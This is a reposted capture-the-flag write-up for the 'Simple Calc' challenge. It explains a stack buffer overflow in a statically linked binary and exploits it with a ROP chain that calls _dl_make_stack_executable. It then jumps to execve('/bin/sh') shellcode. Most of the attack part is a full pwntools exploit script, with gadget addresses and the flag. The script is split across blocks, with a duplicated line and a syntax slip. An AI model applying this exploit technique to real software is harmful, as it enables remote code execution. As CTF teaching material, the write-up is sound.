Simple Calc Writeup

转载

子曰小玖 于 2019-05-23 09:59:19 发布 945 收藏
分类专栏： 漏洞


漏洞 专栏收录该内容
32 篇文章 2 订阅
订阅专栏

https://sploitfun.wordpress.com/2016/03/07/bkp-ctf-simple-calc-writeup/

Recently I got my hands dirty with CTF. My first attempt was 32c3 and I failed miserably at it, however my second attempt was fruitful and her I am with a writeup for it!! Thanks to segfault members Renoand Dhanesh for introducing/inspiring me to play CTF

Simple Calc can be downloaded from here. Its a statically linked 64 bit ELF binary with NX bit enabled.

```
$ file b28b103ea5f1171553554f0127696a18c6d2dcf7
b28b103ea5f1171553554f0127696a18c6d2dcf7: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux),
statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=3ca876069b2b8dc3f412c6205592a1d7523ba9ea, not
stripped
$ ldd ./b28b103ea5f1171553554f0127696a18c6d2dcf7
not a dynamic executable
$gdb -q b28b103ea5f1171553554f0127696a18c6d2dcf7
Reading symbols from b28b103ea5f1171553554f0127696a18c6d2dcf7...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$
```

While playing around with the program, I found it crashes as shown below:

```
$ ./b28b103ea5f1171553554f0127696a18c6d2dcf7

|#----------------------------------#|
| Something Calculator |
|#----------------------------------#|

Expected number of calculations: 255
Options Menu:
[1] Addition.
[2] Subtraction.
[3] Multiplication.
[4] Division.
[5] Save and Exit.
=> 5
Segmentation fault (core dumped)
$
```

Great stuff, on opening the core file I found it we have control over RIP.

```
$ gdb -q b28b103ea5f1171553554f0127696a18c6d2dcf7
Reading symbols from b28b103ea5f1171553554f0127696a18c6d2dcf7...(no debugging symbols found)...done.
gdb-peda$ core-file core
warning: core file may not match specified executable file.
[New LWP 21901]
Core was generated by `./b28b103ea5f1171553554f0127696a18c6d2dcf7'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x0000000000000000 in ?? ()
gdb-peda$
```

Vulnerability: On reversing, we could see simple calc does add,sub,mul,div and save. Saving the calculations causes the results stored in heap memory to be copied to stack. For instance when expected number of calculations is 255, a heap memory of 1020 is created while the destination buffer located in stack is ONLY 40 bytes. Bingo, this causes buffer overflow and since stack canary is disabled we get RIP overwrite easily!!

Before exploiting this vulnerability a few more facts about simple calc:

1. User provided value for “Integer x” gets copied to .bss
2. User provided value for “Integer y” gets copied to .bss
3. Resultant value gets stored in .bss segment
4. Later this resultant value is copied to allocated heap memory
5. This heap memory contents are copied to a local variable located in stack
6. Allocated heap memory is freed

Step 5 is where buffer overflow happens and for successful RIP overwrite we need to make sure at Step 6 the argument passed to free() is NULL, since glibc malloc library returns with no efffect when free(0) is invoked.

Exploit: Now lets overwrite RIP with libc addresses like system and exec to spawn a shell!!

```
$ readelf -s b28b103ea5f1171553554f0127696a18c6d2dcf7 | grep system
694: 00000000004ab120 66 OBJECT LOCAL DEFAULT 10 system_dirs
717: 00000000004ab100 32 OBJECT LOCAL DEFAULT 10 system_dirs_len
$ readelf -s b28b103ea5f1171553554f0127696a18c6d2dcf7 | grep exec
863: 000000000048d6e0 2556 FUNC LOCAL DEFAULT 6 execute_cfa_program
867: 000000000048ea80 2194 FUNC LOCAL DEFAULT 6 execute_stack_op
1034: 00000000004717e0 82 FUNC GLOBAL DEFAULT 6 _dl_make_stack_executable
2059: 00000000006c2208 8 OBJ GLOBAL DEFAULT 24 _dl_make_stack_executable
$
```

Unfortunately we couldnt find system and execve!! However there is a function called _dl_make_stack_executable lets disassemble to find if we can really make the stack executable.

```
gdb-peda$ disassemble _dl_make_stack_executable
Dump of assembler code for function _dl_make_stack_executable:
0x00000000004717e0 <+0>: mov rsi,QWORD PTR [rip+0x250a49]  # <_dl_pagesize>
0x00000000004717e7 <+7>: push rbx
0x00000000004717e8 <+8>: mov rbx,rdi
0x00000000004717eb <+11>: mov rax,QWORD PTR [rdi]
0x00000000004717ee <+14>: mov rdi,rsi
0x00000000004717f1 <+17>: neg rdi
0x00000000004717f4 <+20>: and rdi,rax
0x00000000004717f7 <+23>: cmp rax,QWORD PTR [rip+0x24f78a] # <__libc_stack_end>
0x00000000004717fe <+30>: jne 0x47181f <_dl_make_stack_executable+63>
0x0000000000471800 <+32>: mov edx,DWORD PTR [rip+0x24f7da] # <__stack_prot>
0x0000000000471806 <+38>: call 0x435690 <mprotect>
0x000000000047180b <+43>: test eax,eax
0x000000000047180d <+45>: jne 0x471826 <_dl_make_stack_executable+70>
0x000000000047180f <+47>: mov QWORD PTR [rbx],0x0
0x0000000000471816 <+54>: or DWORD PTR [rip+0x2509f3],0x1 # <_dl_stack_flags>
0x000000000047181d <+61>: pop rbx
0x000000000047181e <+62>: ret
0x000000000047181f <+63>: mov eax,0x1
0x0000000000471824 <+68>: pop rbx
0x0000000000471825 <+69>: ret
0x0000000000471826 <+70>: mov rax,0xffffffffffffffc0
0x000000000047182d <+77>: pop rbx
0x000000000047182e <+78>: mov eax,DWORD PTR fs:[rax]
0x0000000000471831 <+81>: ret
End of assembler dump.
gdb-peda$
```

Perfect, on setting __stack_prot to 0x7 and passing __libc_stack_end as argument to_dl_make_stack_executable allows to invoke mprotect which makes the stack executable!! To achieve this lets use ROP and chain the gadgets one after the other!!

```
$ cat exp.py
#Simple Calc Exploit Code
from pwn import *
import math

def conv_scode():
 #execve(/bin/sh)
 scode =
"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb
0\x3b\x0f\x05"
 pad = (int(math.ceil(len(scode)/4.0))*4) - len(scode)
 for i in range(0,pad):
  scode += '\x00'
 n = len(scode)/4
 return struct.unpack('<' + 'I'*n,scode)

def gen_zero(r):
 r.send('2\n')
 r.send('100\n')
 r.send('100\n')

def main():

 #Gadgets used to set __stack_prot = 0x7
 g1 = 0x0044526f #mov dword [rax], edx ; ret;
```

```
g1_1 = 0x0044db34 #pop rax ; ret; where rax = stack_prot
g1_2 = 0x00437a85 #pop rdx ; ret; where rdx = 0x7
stack_prot = 0x006C0FE0

#Gadgets used to invoke _dl_make_stack_executable
g2 = 0x004717e0 #_dl_make_stack_executable
g2_1 = 0x00401b73 #pop rdi ; ret; where rdi = libc_stack_end
libc_stack_end = 0x006C0F88

#Gadget used to jump to shellcode
g3 = 0x004b2a1b #jmp rsp;
shell_code = conv_scode()

r = remote('simplecalc.bostonkey.party',5400
print r.recv()
r.send('255\n')
print r.recv()

for i in range(0,18):
 gen_zero(r)

#Overwrite RIP with ROP gadgets to invoke _dl_make_stack_executable and then jump to shellcode
#G1_1
r.send('2\n')
g1_1 += 100
r.send(str(g1_1) + '\n')
r.send('100\n')
gen_zero(r)

#stack_prot
r.send('2\n')
stack_prot += 100
r.send(str(stack_prot) + '\n')
r.send('100\n')
gen_zero(r)

#G1_2
r.send('2\n')
g1_2 += 100
r.send(str(g1_2) + '\n')
r.send('100\n')
gen_zero(r)

#stack_prot_val
r.send('2\n')
r.send('100\n')
r.send('93\n')
gen_zero(r)

#G1
r.send('2\n')
g1 += 100
r.send(str(g1) + '\n')
r.send('100\n')
gen_zero(r)

#G2_1
r.send('2\n')
g2_1 += 100
r.send(str(g2_1) + '\n')
```

```
r.send(str(g2_1) + '\n')
r.send('100\n')
gen_zero(r)

#libc_stack_end
r.send('2\n')
libc_stack_end += 100
r.send(str(libc_stack_end) + '\n')
r.send('100\n')
gen_zero(r)

#G2
r.send('2\n')
g2 += 100
r.send(str(g2) + '\n')
r.send('100\n')
gen_zero(r)

#G3
r.send('2\n')
g3 += 100
r.send(str(g3) + '\n')
r.send('100\n')
gen_zero(r)

#Shellcode
for scode in shell_code:
r.send('2\n')
scode += 100
r.send(str(scode) + '\n')
r.send('100\n')

#Trigger memcpy overflow
r.send('5\n')

r.interactive()

if __name__ == "__main__":
 main()
$
```

Executing above exploit code gives us shell!! And the flag for the challenge is BKPCTF{what_is_2015_minus_7547}